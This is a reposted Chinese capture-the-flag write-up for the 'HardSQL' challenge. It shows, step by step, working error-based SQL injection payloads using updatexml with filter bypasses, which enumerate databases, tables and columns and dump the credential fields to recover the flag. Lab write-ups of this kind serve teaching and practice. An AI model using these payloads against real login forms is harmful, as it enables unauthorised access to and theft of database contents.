[极客大挑战 2019]HardSQL 1

2023-11-05

[极客大挑战 2019]HardSQL 1

首先打开题目,明显的发现这是一个sql注入的题:

在这里插入图片描述
我们先用 ’ 和 " 测试是否有注入报错。

发现用 ’ 时报错:

在这里插入图片描述
所以这题很明显是有sql注入的,于是我们就利用用语句:
admin’ or 1=1#
测试得到:
在这里插入图片描述发现这里是有过滤的于是就用BP跑一下,看过滤了些什么得到:

在这里插入图片描述
发现过滤了空格,=,<>,>,<,!,substr等

所以我们先测试成功登录后的页面:
用:admin’or((1)like(1))#
得到:

在这里插入图片描述页面返回登录成功,并无其它信息,但刚刚用’时出现报错
可能出现报错注入
于是我们用报错注入试试;
admin’or(updatexml(’~’,concat(’~’,database(),’~’),’~’))#

得到:
在这里插入图片描述
成功报错库名,所以报错注入能成功

于是开始下一步:查看所有库名:

admin’or(updatexml(’~’,concat(’~’,(select(group_concat(schema_name))from(information_schema.schemata)),’~’),’~’))#

得到:

在这里插入图片描述发现信息不完整于是想到可能长度不够,于是利用right(),从右边截取
长度看看:
用:
admin’or(updatexml(’~’,right(concat(’~’,(select(group_concat(schema_name))from(information_schema.schemata)),’~’),45),’~’))#

得到另一般信息:
在这里插入图片描述

我们在查看当前数据库geek的表名:
用:
admin’or(updatexml(’~’,concat(’~’,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(“geek”))),’~’),’~’))#
在这里插入图片描述然后,我们在接着查看表里面的字段名:

用:

admin’or(updatexml(’~’,concat(’~’,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like(“H4rDsq1”))),’~’),’~’))#

在这里插入图片描述

得到字段有id,username,password
我们一般都是想看用户名和密码:
查看用户名:
用:
admin’or(updatexml(’~’,concat(’~’,(select(group_concat(username))from(geek.H4rDsq1)),’~’),’~’))#

发现flag
在这里插入图片描述在继续查看密码得到:
用:
admin’or(updatexml(’~’,concat(’~’,(select(group_concat(password))from(geek.H4rDsq1)),’~’),’~’))#
在这里插入图片描述
发现flag只有一般在查看另一般:
用:
admin’or(updatexml(’~’,right(concat(’~’,(select(group_concat(password))from(geek.H4rDsq1)),’~’),20),’~’))#

在这里插入图片描述

得到完整的flag:

flag{e7534702-af2e-4fce-99e7-5d3734d4cab2}

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

[极客大挑战 2019]HardSQL 1 的相关文章

随机推荐

  • CMAKE 中add_definitions的用法

    If you are in China please add this CMake flag DTHIRD PARTY MIRROR aliyun to speed up the downloading procedure for some
  • Linux压缩解压命令

    1 tar 解包 tar xvf FileName tar 打包 tar cvf FileName tar DirName 注 tar是打包 不是压缩 2 gz 解压1 gunzip FileName gz 解压2 gzip d FileN
  • mysql 批量 update 多个条件_MySQL更新表数据(八)

    更新数据是使用数据库时最重要的任务之一 在本教程中 您将学习如何使用MySQL UPDATE语句来更新表中的数据 1 MySQL UPDATE语句简介 我们使用UPDATE语句来更新表中的现有数据 也可以使用UPDATE语句来更改表中单个行
  • 15 行代码在 wangEditor v5 使用数学公式

    前言 wangEditor v5 正式版发布在即 为了验证它的扩展性 我开发了几个常用的第三方插件 本文介绍一下 formula 插件的设计和使用 插入数学公式要使用 LateX 语法 渲染公式需要依赖工具 KateX 如 c pm sqr
  • ctf-攻防世界-web:disabled_button

    wp 一 提示是前端知识 有一个不能按的按钮 我们F12开发者工具来看看这个按钮 咦 有一个disabled 只要把这个disabled 删掉 按钮就可以按下了 点一下按钮 flag出现 完美 二 或者审计代码 hackbar用post方式
  • Android 获取USB设备的类型

    Version info Linux 3 10 Android 4 2 一 问题 现在有USB设备插入Android系统 那么如何得知插入的设备类型 是USB打印机 U盘 还是USB鼠标 二 USB类型规定 对于USB类型 USB组织是有规
  • 数据监控与报警:将Scrapyd与监控工具集成,实现爬虫异常时的自动警报通知

    目录 1 数据监控与报警的重要性 2 集成监控工具 3 监控爬虫运行状态 4 监控网站结构变化
  • 什么是NoSQL,为什么要使用NoSQL?

    详见 什么是NoSQL 为什么要使用NoSQL 曲健磊的个人博客的博客 CSDN博客 nosql https baike so com doc 5569749 5784951 html 1 为什么用 NoSQL 1 1 单机 MySQL 的
  • HCIP第七天

    OSPF的不规则区域 OSPF区域划分的要求 1 区域之间必须存在ABR 2 区域划分必须按照星型拓扑结构来进行划分 常见的不规则区域 1 远离骨干的非骨干区域 2 不连续骨干区域 远离骨干的非骨干区域 1 使用VPN隧道 直接在非法的AB
  • 2023Testing Expo

    8月9日 11日 2023汽车测试及质量监控博览会将于上海世博展览馆1号馆举行 本次展会将展示测试和验证技术在整车 零部件和系统开发领域中的新发展 新产品和新解决方案 怿星科技将携最新的ETH测试 智驾测试 PPS测试等方案亮相测试展 届时
  • 如何学习好数学

    数学大咖单墫总结数学解题的12条原则 1 要享受到解题的乐趣 对解题有浓厚的兴趣 能有几分痴迷更好 2 要有充足的信心 3 要有百折不回的决心与坚韧不拔的毅力 4 要做100道有质量的题目 5 反复探索 大胆地跟着感觉走 6 从简单的做起
  • 临界区操作的原子性

    所谓的原子性就是操作在未执行完之前不会被打断 在多线程变成的时候 很多时候都会在线程函数中或者被线程调用的函数中使用临界区来实现函数操作的原子性 临界区保证当前进入临界区的线程能够完整执行完临界区中保护的代码不被打断 但是当时我一直对临界区
  • python:json格式化输出

    参考 https stackoverflow com questions 12943819 how to prettyprint a json file import json your json foo bar baz null 1 0
  • kibana启动失败no known master node, scheduling a retry或者master_not_discovered_exception

    今天在用到elasticsearch和kibana时遇到错误 主要就是这种报错master not discovered exception 找不到master节点 有两种解决方法 一种是安装elasticsearch使用 msi安装包的形
  • Android Studio更新Gradle版本

    Android Studio更新Gradle版本 1 在File分栏下 点击Project Structure 2 按照图示步骤操作 选中Project 点击Android Gradle Plugin Version复选框下三角符号 选择需
  • 2022.0306避障小车学习1

    要求 使用stm32f103单片机 应用RTOS实时系统 使用超声波模块 oled屏 l298n直流步进电机 驱动模块和小车底盘 思路 在任务里用超声波实时测出距障碍物的距离 并将距离显示在oled屏上 再根据判断距离大小调用前进或者后退那
  • web应用开发实战 - node.js

    了解Node js Node js 是一个基于 Chrome JavaScript 运行时建立的一个平台 Node js 是一个基于 Chrome V8 引擎的 JavaScript 运行时 Node js是运行在服务端上的 JavaScr
  • 单页面引入vue和element

    引入vue 1 可以直接在页面中引入 2 https cdn jsdelivr net npm vue 2 dist vue js 打开该链接下载vue 存放在本地 引入element 方法同上
  • 交换机的简单描述

    工作原理 1 交换机有张表 MAC地址表 一开始未通讯之前 MAC地址表是空的 2 同一个局域网中主机A访问主机B 3 主机A会将自己的MAC地址和对面的MAC地址封装进数据帧 自己的是源MAC地址 对面是目 的MAC地址 4 交换机会收到
  • [极客大挑战 2019]HardSQL 1

    极客大挑战 2019 HardSQL 1 首先打开题目 明显的发现这是一个sql注入的题 我们先用 和 测试是否有注入报错 发现用 时报错 所以这题很明显是有sql注入的 于是我们就利用用语句 admin or 1 1 测试得到 发现这里是